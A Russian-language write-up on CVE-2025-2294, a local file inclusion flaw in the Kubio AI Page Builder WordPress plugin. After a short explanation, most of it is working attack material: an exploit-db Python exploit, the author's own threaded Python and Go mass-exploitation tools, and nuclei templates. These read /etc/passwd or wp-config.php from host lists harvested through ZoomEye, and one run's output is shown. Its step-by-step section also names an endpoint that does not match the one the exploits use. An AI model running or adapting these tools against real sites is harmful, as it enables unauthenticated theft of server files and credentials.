# CVE-2025-2294 – Local File Inclusion (LFI) в WordPress-плагине Kubio AI Page Builder ## Теоретический материал про CVE-2025-2294 ### Вектор уязвимости: - #### Базовый вектор уязвимости (CVSSv3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - #### Уровень опасности уязвимости (CVSSv3.1): 9.8 (Critical) ### Описание уязвимости 12 марта 2025 года исследователи безопасности сообщили о критической уязвимости в популярном плагине `Kubio AI Page Builder` для `WordPress` (более 90 000 активных установок). Уязвимость `CVE-2025-2294` позволяет **неаутентифицированному удалённому злоумышленнику эксплуатировать Local File Inclusion (LFI)** в функции `thekubio_hybrid_theme_load_template`. Основная причина уязвимости кроется в **некорректной проверке пользовательских данных**, передаваемых в параметр шаблона, используемый при загрузке файлов. Плагин не ограничивает путь к файлу строго допустимыми значениями, что позволяет злоумышленнику включить локальные файлы на сервере WordPress-сайта. Используя эту уязвимость, атакующий может: - читать конфиденциальные файлы (например `wp-config.php`, `/etc/passwd`), - при определённых условиях добиться **удалённого исполнения кода**, если ему удастся загрузить и включить произвольный PHP-код. Уязвимость получила оценку **CVSS 9.8 (критическая)**, так как эксплуатируется удалённо, без аутентификации и может привести к компрометации всей системы. ### Затронутые версии
Название продукта Затронутые версии Исправленные версии
Kubio AI Page Builder (WordPress Plugin) Версия 2.5.1 и все более ранние Исправлено в версии 2.5.2
### Объяснение CVE-2025-2294 **CVE-2025-2294** — это уязвимость типа **Local File Inclusion (LFI)** в плагине `Kubio AI Page Builder` для `WordPress`. Она присутствует во всех версиях плагина до и включая `2.5.1` и была выявлена в функции `thekubio_hybrid_theme_load_template`. ### По факту: Плагин не ограничивает путь к файлу, передаваемый через параметр `template` в запросах, что позволяет злоумышленнику манипулировать этим параметром и включать произвольные файлы с сервера. Это возможно благодаря недостаточной валидации входных данных, что приводит к уязвимости типа LFI. Изменения между версией `2.5.1` и `2.5.2` можно увидеть [здесь](https://plugins.trac.wordpress.org/changeset?old_path=%2Fkubio%2Ftags%2F2.5.1%2Flib%2Fintegrations%2Fthird-party-themes%2Feditor-hooks.php&old=3367145&new_path=%2Fkubio%2Ftags%2F2.5.2%2Flib%2Fintegrations%2Fthird-party-themes%2Feditor-hooks.php&new=3367145&sfp_email=&sfph_mail=) ### Если по шагам: #### 1. Отправка HTTP-запроса с параметром шаблона Формируется http-запрос к уязвимой странице плагина Kubio, обычно к файлу типа: ```md http://example.com/wp-content/plugins/kubio/includes/template.php?template= ``` В параметре `template` можно указать путь к файлу, который злоумышленник хочет включить. На этом этапе сервер просто принимает этот параметр, **не проверяя, допустим ли путь и разрешён ли файл для включения**. #### 2. Манипуляция параметром пути Подставляются относительные пути(`../../../../`) для выхода за пределы директории плагина и указания системных файлов. Пример: ```arduino ?template=../../../../../../../etc/passwd ``` Сервер интерпретирует путь как допустимый и пытается включить файл. #### 3. Чтение или включение файла В результате сервер выполняет функицию `include` или `require` на переданный файл. Это позволяет: - **Чтение конфиденциальных файлов**: содержимое файлов возвращается в HTTP-ответе (`/etc/passwd`, `wp-config.php` и др.) - **Выполнение производного PHP-кода**: если злоумышленник заранее загрузил PHP-файл (через форму загрузки файлов или другой метод), он может его включить и выполнить на сервере #### 4. Получение доступа к информации или RCE В зависимости от файла, включенного через `LFI`, атакующий может: - Считать конфиденциальные данные и пароли - Выполнить произвольные команды через загруженный PHP-код - Обойти аутентификацию и получить административный доступ к WordPress ### Импакт: - **Remote LFI / Potential RCE** – уязвимость позволяет читать локальные файлы, а при определённой конфигурации — выполнять произвольный код - **Обход аутентификации**: возможность включения произвольных файлов может быть использована для обхода механизмов аутентификации или получения доступа к административным панелям - **Три кита ИБ**: конфиденциальность/доступность/целостность – LFI может раскрыть чувствительные данные, нарушить работу сайта и дать полный контроль злоумышленнику при наличии RCE. ## Разработка сплойта: Очень хороший [сплойт](https://www.exploit-db.com/exploits/52125) уже написан :):(( Поэтому возьму сразу его: ```python import argparse import re import requests from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor class Colors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def parse_version(version_str): parts = list(map(int, version_str.split('.'))) while len(parts) < 3: parts.append(0) return tuple(parts[:3]) def check_plugin_version(target_url): readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt') try: response = requests.get(readme_url, timeout=10) if response.status_code == 200: version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I) if not version_match: return False, "Version not found" version_str = version_match.group(1).strip() try: parsed_version = parse_version(version_str) except ValueError: return False, f"Invalid version format: {version_str}" return parsed_version <= (2, 5, 1), version_str return False, f"HTTP Error {response.status_code}" except Exception as e: return False, f"Connection error: {str(e)}" def exploit_vulnerability(target_url, file_path, show_content=False): exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}" try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: if show_content: print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}") print(Colors.OKBLUE + response.text + Colors.ENDC) return True return False except Exception as e: return False def process_url(url, file_path, show_content, output_file): print(f"{Colors.HEADER}[*] Checking: {url}{Colors.ENDC}") is_vuln, version_info = check_plugin_version(url) if is_vuln: print(f"{Colors.OKGREEN}[+] Vulnerable: {url} (Version: {version_info}){Colors.ENDC}") exploit_success = exploit_vulnerability(url, file_path, show_content) if output_file and exploit_success: with open(output_file, 'a') as f: f.write(f"{url}\n") return url if exploit_success else None else: print(f"{Colors.FAIL}[-] Not vulnerable: {url} ({version_info}){Colors.ENDC}") return None def main(): parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-u", "--url", help="Single target URL (always shows file content)") group.add_argument("-l", "--list", help="File containing list of URLs") parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd", help="File path to exploit (default: ../../../../../../../../etc/passwd)") parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs") parser.add_argument("-v", "--verbose", action="store_true", help="Show file contents when using -l/--list mode") parser.add_argument("-t", "--threads", type=int, default=5, help="Number of concurrent threads for list mode") args = parser.parse_args() # Determine operation mode if args.url: # Single URL mode - always show content process_url(args.url, args.file, show_content=True, output_file=args.output) elif args.list: # List mode - handle multiple URLs with open(args.list, 'r') as f: urls = [line.strip() for line in f.readlines() if line.strip()] print(f"{Colors.BOLD}[*] Starting scan with {len(urls)} targets...{Colors.ENDC}") with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [] for url in urls: futures.append( executor.submit( process_url, url, args.file, args.verbose, args.output ) ) vulnerable_urls = [future.result() for future in futures if future.result()] print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}") print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}") if args.output: print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}") if __name__ == "__main__": main()% ``` ### Подробное объяснение сплойта: #### Функция `check_plugin_version(target_url)` Она получает `readme.txt` плагина на сайте: ```arduino wp-content/plugins/kubio/readme.txt ``` Далее ищет версию плагина через регулярку(выражение `Stable tag: X.X.X`). В конце определяет, является ли версия уязвимой(`<= 2.5.1`) В результате сайт отмечает, уязвим он или нет. #### Функция `exploit_vulnerability(target_url, file_path, show_content=False)` - Отправляет GET-запрос на: ```cpp ?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path} ``` - `file_path` по умолчанию установлен на: ```bash ../../../../../../../../etc/passwd ``` #### Функция `process_url()` - Проверяет сайт на уязвимость. - Если сайт уязвим, вызывает `exploit_vulnerability`. - При успешной эксплуатации может сохранять URL в файл #### Программа парсит следующие аргументы: - `-u / --url` — проверка одного сайта. - `-l / --list` — проверка списка сайтов. - `-f / --file` — путь к файлу для LFI (по умолчанию /etc/passwd). - `-o / --output` — файл для записи уязвимых сайтов. - `-v / --verbose` — вывод содержимого файла при массовой проверке. - `-t / --threads` — число потоков при массовой проверке (по умолчанию 5) ## Активное исследование Чтобы проверить сплойт и его работоспособность пришлось развернуть wordpress у себя. Для этого я написал `docker-compose.yml`: ```yaml version: '3.8' services: db: image: mysql:5.7 container_name: wp-db restart: always environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: wordpress MYSQL_USER: wp MYSQL_PASSWORD: wp volumes: - db_data:/var/lib/mysql wordpress: image: wordpress:6.8.2-php8.1-apache container_name: wp-test restart: always ports: - "8081:80" environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wp WORDPRESS_DB_PASSWORD: wp WORDPRESS_DB_NAME: wordpress volumes: - wordpress_data:/var/www/html - ./kubio:/var/www/html/wp-content/plugins/kubio depends_on: - db volumes: wordpress_data: db_data: ``` Так же, стоит заметить, что я скачал уязвимую версию `kubio2.5.1`, распаковал и сразу добавил его в плагины WP. Далее открыв сайт, установил, зарегался и активировал плагин. Все, теперь можно пробовать)) ### Проверка сплойта: ![alt text](images/image.png) #### Если не отображается: ```bash > python 52125.py -f '../../../../../etc/passwd' -u 'http://127.0.0.1:8081' [*] Checking: http://127.0.0.1:8081 [+] Vulnerable: http://127.0.0.1:8081 (Version: 2.5.1) [+] File content from http://127.0.0.1:8081: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ``` Сплойт работает, ура! ## Формировка списка уязвимых хостов и IP-адресов Для формировки обычного списка ip адресов используемых для проверки воспользуемся опять `zoomeye` и таким запросом в поиск: `header:"X-Pingback: /xmlrpc.php"`. Чтобы спарсить ip адреса можно воспользоваться таким [скриптом](https://github.com/mirmeweu/zoomeye-crawler) Итоговый [файл](alive.txt) с ip адресами чтобы их проверить К сожалению уязвимых хостов не нашлось:((( ## Массовая проверка ### Написание правила активной проверки на nuclei Написание шаблона было простой задачей, просто проверяется версия `kubio`, потом отправляется get запрос на уязвимый `endpoint` с `payload'ом`. Вывод проверяется по первым символам: `root:x:` ```yaml id: kubio-lfi info: name: Kubio AI Page Builder LFI (CVE-2025-2294) author: Mirkasimov Ilnaz severity: critical description: Checks for Kubio <=2.5.1 LFI vulnerability reference: - https://www.cve.org/CVERecord?id=CVE-2025-2294 tags: wordpress,lfi,kubio requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/kubio/readme.txt" matchers: - type: regex regex: - "Stable tag:\\s*([0-9\\.]+)" name: kubio_version extractors: - type: regex name: version regex: - "Stable tag:\\s*([0-9\\.]+)" - method: GET path: - "{{BaseURL}}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../etc/passwd" matchers: - type: word part: body words: - "root:x:" name: kubio_lfi ``` ![alt text](images/image-1.png) ### Написание правила пассивной проверки на nuclei Написание данного шаблона была тоже довольно простой. Просто отправляешь запрос на `/wp-content/plugins/kubio/readme.txt`, парсишь `Stable tag` если версия `<= 2.5.1`. Ну в целом и все) ```yaml id: kubio-passive-vulnerable info: name: Kubio AI Page Builder <=2.5.1 Vulnerability Check (Passive) author: Mirkasimov Ilnaz severity: info description: | Checks Kubio plugin version via readme.txt and reports hosts with version <= 2.5.1 (CVE-2025-2294) reference: - https://www.cve.org/CVERecord?id=CVE-2025-2294 tags: wordpress,kubio,passive requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/kubio/readme.txt" matchers: - type: regex regex: - "Stable tag:\\s*(0\\.[0-9]+\\.[0-9]+|1\\.[0-9]+\\.[0-9]+|2\\.[0-4]+\\.[0-9]+|2\\.5\\.[0-1])" part: body ``` ![alt text](images/image-2.png) ### Написание сплойта на Python/Go #### Написание сплойта на питоне Для написание сплойта на питоне, попытаемся получить уязвимую версию и сравнить ее с `2.5.1`. В целом все, вот сплойт: ```python import argparse import re import requests from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor class Colors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def parse_version(version_str): parts = list(map(int, version_str.split('.'))) while len(parts) < 3: parts.append(0) return tuple(parts[:3]) def check_plugin_version(target_url, timeout, debug=False): readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt') try: response = requests.get(readme_url, timeout=timeout, verify=False) if response.status_code == 200: version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I) if not version_match: return False, "Version not found" version_str = version_match.group(1).strip() try: parsed_version = parse_version(version_str) except ValueError: return False, f"Invalid version format: {version_str}" is_vuln = parsed_version <= (2, 5, 1) if debug: status = "VULNERABLE" if is_vuln else "NOT vulnerable" print(f"{Colors.HEADER}[DEBUG]{Colors.ENDC} {target_url} - Version {version_str} -> {status}") return is_vuln, version_str else: if debug: print(f"{Colors.WARNING}[DEBUG] {target_url} - HTTP Error {response.status_code}{Colors.ENDC}") return False, f"HTTP Error {response.status_code}" except Exception as e: if debug: print(f"{Colors.FAIL}[DEBUG] {target_url} - Connection error: {str(e)}{Colors.ENDC}") return False, f"Connection error: {str(e)}" def exploit_vulnerability(target_url, file_path, timeout, show_content=False): exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}" try: response = requests.get(exploit_url, timeout=timeout, verify=False) if response.status_code == 200: if show_content: print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}") print(Colors.OKBLUE + response.text + Colors.ENDC) return True return False except Exception: return False def process_url(url, file_path, timeout, verbose, output_file, debug, check_only=False): is_vuln, version_info = check_plugin_version(url, timeout, debug) if check_only: if is_vuln: print(f"{Colors.OKGREEN}[VULNERABLE]{Colors.ENDC} {url} - Version {version_info}") return url return None if is_vuln: exploit_success = exploit_vulnerability(url, file_path, timeout, verbose) if output_file and exploit_success: with open(output_file, 'a') as f: f.write(f"{url}\n") return url if exploit_success else None return None def parse_results_file(file_path): urls = [] with open(file_path, 'r') as f: for line in f: line = line.strip() if not line: continue port_match = re.search(r':(\d+)$', line) port = int(port_match.group(1)) if port_match else 80 ip_matches = re.findall(r'\d+\.\d+\.\d+\.\d+', line) for ip in ip_matches: schema = "https" if port == 443 else "http" urls.append(f"{schema}://{ip}:{port}") return urls def main(): parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner") parser.add_argument("-l", "--list", required=True, help="File containing results.txt with IPs") parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd", help="File path to exploit (default: ../../../../../../../../etc/passwd)") parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs") parser.add_argument("-v", "--verbose", action="store_true", help="Show file contents when scanning") parser.add_argument("-t", "--threads", type=int, default=5, help="Number of concurrent threads") parser.add_argument("-to", "--timeout", type=int, default=10, help="Timeout for HTTP requests") parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output") parser.add_argument("-check", action="store_true", help="Check version only and print vulnerable hosts") args = parser.parse_args() urls = parse_results_file(args.list) if args.debug: print(f"{Colors.BOLD}[*] Parsed {len(urls)} target URLs from file.{Colors.ENDC}") with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [] for url in urls: futures.append( executor.submit( process_url, url, args.file, args.timeout, args.verbose, args.output, args.debug, args.check ) ) vulnerable_urls = [f.result() for f in futures if f.result()] if not args.check: print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}") print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}") if args.output: print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}") if __name__ == "__main__": requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) main() ``` #### Написание сплойта на Golang Опять немного промтов в гпт... Вот сплойт: ```golang package main import ( "bufio" "flag" "fmt" "io" "net/http" "os" "regexp" "strconv" "strings" "sync" "time" ) type Colors struct{} var color = Colors{} func (c Colors) HEADER(s string) string { return "\033[95m" + s + "\033[0m" } func (c Colors) OKGREEN(s string) string { return "\033[92m" + s + "\033[0m" } func (c Colors) OKBLUE(s string) string { return "\033[94m" + s + "\033[0m" } func (c Colors) FAIL(s string) string { return "\033[91m" + s + "\033[0m" } func (c Colors) BOLD(s string) string { return "\033[1m" + s + "\033[0m" } func parseVersion(versionStr string) ([3]int, error) { var ver [3]int parts := strings.Split(versionStr, ".") for i := 0; i < 3; i++ { if i < len(parts) { p, err := strconv.Atoi(parts[i]) if err != nil { return ver, err } ver[i] = p } else { ver[i] = 0 } } return ver, nil } func isVulnerableVersion(versionStr string) bool { v, err := parseVersion(versionStr) if err != nil { return false } return v[0] < 2 || (v[0] == 2 && v[1] < 5) || (v[0] == 2 && v[1] == 5 && v[2] <= 1) } func checkPluginVersion(url string, timeout int, debug bool) (bool, string) { readmeURL := strings.TrimRight(url, "/") + "/wp-content/plugins/kubio/readme.txt" client := &http.Client{ Timeout: time.Duration(timeout) * time.Second, } req, _ := http.NewRequest("GET", readmeURL, nil) req.Header.Set("User-Agent", "Mozilla/5.0") resp, err := client.Do(req) if err != nil { if debug { fmt.Printf("%s[DEBUG]%s %s - Connection error: %v\n", color.HEADER(""), color.OKBLUE(""), url, err) } return false, "Connection error" } defer resp.Body.Close() if resp.StatusCode != 200 { if debug { fmt.Printf("%s[DEBUG]%s %s - HTTP error %d\n", color.HEADER(""), color.OKBLUE(""), url, resp.StatusCode) } return false, fmt.Sprintf("HTTP Error %d", resp.StatusCode) } bodyBytes, _ := io.ReadAll(resp.Body) re := regexp.MustCompile(`Stable tag:\s*([\d.]+)`) matches := re.FindStringSubmatch(string(bodyBytes)) if len(matches) < 2 { return false, "Version not found" } version := matches[1] if debug { status := "NOT vulnerable" if isVulnerableVersion(version) { status = "VULNERABLE" } fmt.Printf("%s[DEBUG]%s %s - Version %s -> %s\n", color.HEADER(""), color.OKBLUE(""), url, version, status) } return isVulnerableVersion(version), version } func exploitVulnerability(url, filePath string, timeout int, showContent bool) bool { exploitURL := fmt.Sprintf("%s/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=%s", url, filePath) client := &http.Client{ Timeout: time.Duration(timeout) * time.Second, } resp, err := client.Get(exploitURL) if err != nil { return false } defer resp.Body.Close() if resp.StatusCode == 200 && showContent { body, _ := io.ReadAll(resp.Body) fmt.Printf("\n%s[+] File content from %s:%s\n", color.OKGREEN(""), url, color.OKBLUE("")) fmt.Println(string(body)) return true } return resp.StatusCode == 200 } func parseResultsFile(filePath string) ([]string, error) { file, err := os.Open(filePath) if err != nil { return nil, err } defer file.Close() var urls []string scanner := bufio.NewScanner(file) ipRegex := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+`) portRegex := regexp.MustCompile(`:(\d+)$`) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line == "" { continue } port := 80 if portMatch := portRegex.FindStringSubmatch(line); len(portMatch) == 2 { port, _ = strconv.Atoi(portMatch[1]) } ips := ipRegex.FindAllString(line, -1) for _, ip := range ips { schema := "http" if port == 443 { schema = "https" } url := fmt.Sprintf("%s://%s:%d", schema, ip, port) urls = append(urls, url) } } return urls, scanner.Err() } func main() { listFile := flag.String("list", "", "File containing results.txt with IPs") filePath := flag.String("file", "../../../../../../../../etc/passwd", "File path to exploit") outputFile := flag.String("output", "", "Output file to save vulnerable URLs") verbose := flag.Bool("verbose", false, "Show file contents when scanning") threads := flag.Int("threads", 5, "Number of concurrent threads") timeout := flag.Int("timeout", 10, "Timeout for HTTP requests") debug := flag.Bool("debug", false, "Enable debug output") checkOnly := flag.Bool("check", false, "Check version only and print vulnerable hosts") flag.Parse() if *listFile == "" { fmt.Println("Please provide a list file with -list") os.Exit(1) } urls, err := parseResultsFile(*listFile) if err != nil { fmt.Println("Error reading file:", err) os.Exit(1) } fmt.Printf("%s[*]%s Parsed %d URLs\n", color.BOLD(""), "", len(urls)) var wg sync.WaitGroup sem := make(chan struct{}, *threads) vulnChan := make(chan string, len(urls)) for _, url := range urls { wg.Add(1) go func(u string) { defer wg.Done() sem <- struct{}{} defer func() { <-sem }() isVuln, version := checkPluginVersion(u, *timeout, *debug) if *checkOnly { if isVuln { fmt.Printf("%s[VULNERABLE]%s %s - Version %s\n", color.OKGREEN(""), "", u, version) vulnChan <- u } return } if isVuln { success := exploitVulnerability(u, *filePath, *timeout, *verbose) if success { vulnChan <- u } } }(url) } wg.Wait() close(vulnChan) if !*checkOnly { fmt.Printf("\n%s[*]%s Scan complete!\n", color.BOLD(""), "") count := 0 for u := range vulnChan { fmt.Printf("%s[+]%s %s\n", color.OKGREEN(""), "", u) count++ } fmt.Printf("%s[+] Total vulnerable URLs found: %d%s\n", color.OKGREEN(""), count, "") if *outputFile != "" { f, _ := os.Create(*outputFile) for u := range vulnChan { f.WriteString(u + "\n") } f.Close() } } } ``` Проверил, все работает: ```bash > ./active -list alive.txt -file '../../../../../../../../../../etc/passwd' [*] Parsed 147 URLs [*] Scan complete! [+] http://127.0.0.1:8081 [+] Total vulnerable URLs found: 1 ``` ### Конец #### Используемые ссылки: - https://nvd.nist.gov/vuln/detail/CVE-2025-2294 - https://plugins.trac.wordpress.org/browser/kubio/tags/2.5.1/lib/integrations/third-party-themes/editor-hooks.php#L32 - https://plugins.trac.wordpress.org/changeset?old_path=%2Fkubio%2Ftags%2F2.5.1%2Flib%2Fintegrations%2Fthird-party-themes%2Feditor-hooks.php&old=3367145&new_path=%2Fkubio%2Ftags%2F2.5.2%2Flib%2Fintegrations%2Fthird-party-themes%2Feditor-hooks.php&new=3367145&sfp_email=&sfph_mail= - https://www.wordfence.com/blog/2025/04/wordfence-intelligence-weekly-wordpress-vulnerability-report-march-24-2025-to-march-30-2025/ - https://www.exploit-db.com/exploits/52125 - https://github.com/Nxploited/CVE-2025-2294 - https://www.hostinger.com/tutorials/run-docker-wordpress?utm_campaign=Generic-Tutorials-DSA%7CNT:Se%7CLang:EN%7CLO:PL&utm_medium=ppc&gad_source=1&gad_campaignid=20920937993&gclid=Cj0KCQjwrc7GBhCfARIsAHGcW5VR7CIa8UZKIA7b7YfL2LsKmHxKAoi4t0d7D_OJRaxF3NyT8doUh4saAkjL - https://ru.wordpress.org/plugins/kubio/ - https://kubiobuilder.com/ - https://kubiobuilder.com/documentation/how-kubio-works/ - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion - https://x.com/zoomeye_team/status/1857341481679487470?lang=ar - https://www.rapid7.com/db/modules/auxiliary/gather/zoomeye_search/ - https://github.com/projectdiscovery/httpx?tab=readme-ov-file - https://docs.projectdiscovery.io/opensource/httpx/running - https://www.zoomeye.ai/ - https://chatgpt.com/ - https://en.fofa.info/ - https://www.criminalip.io/ #### Был написан Миркасимовым Ильназом(@mirmeweu). Даты написания: 23.09.25-25.09.25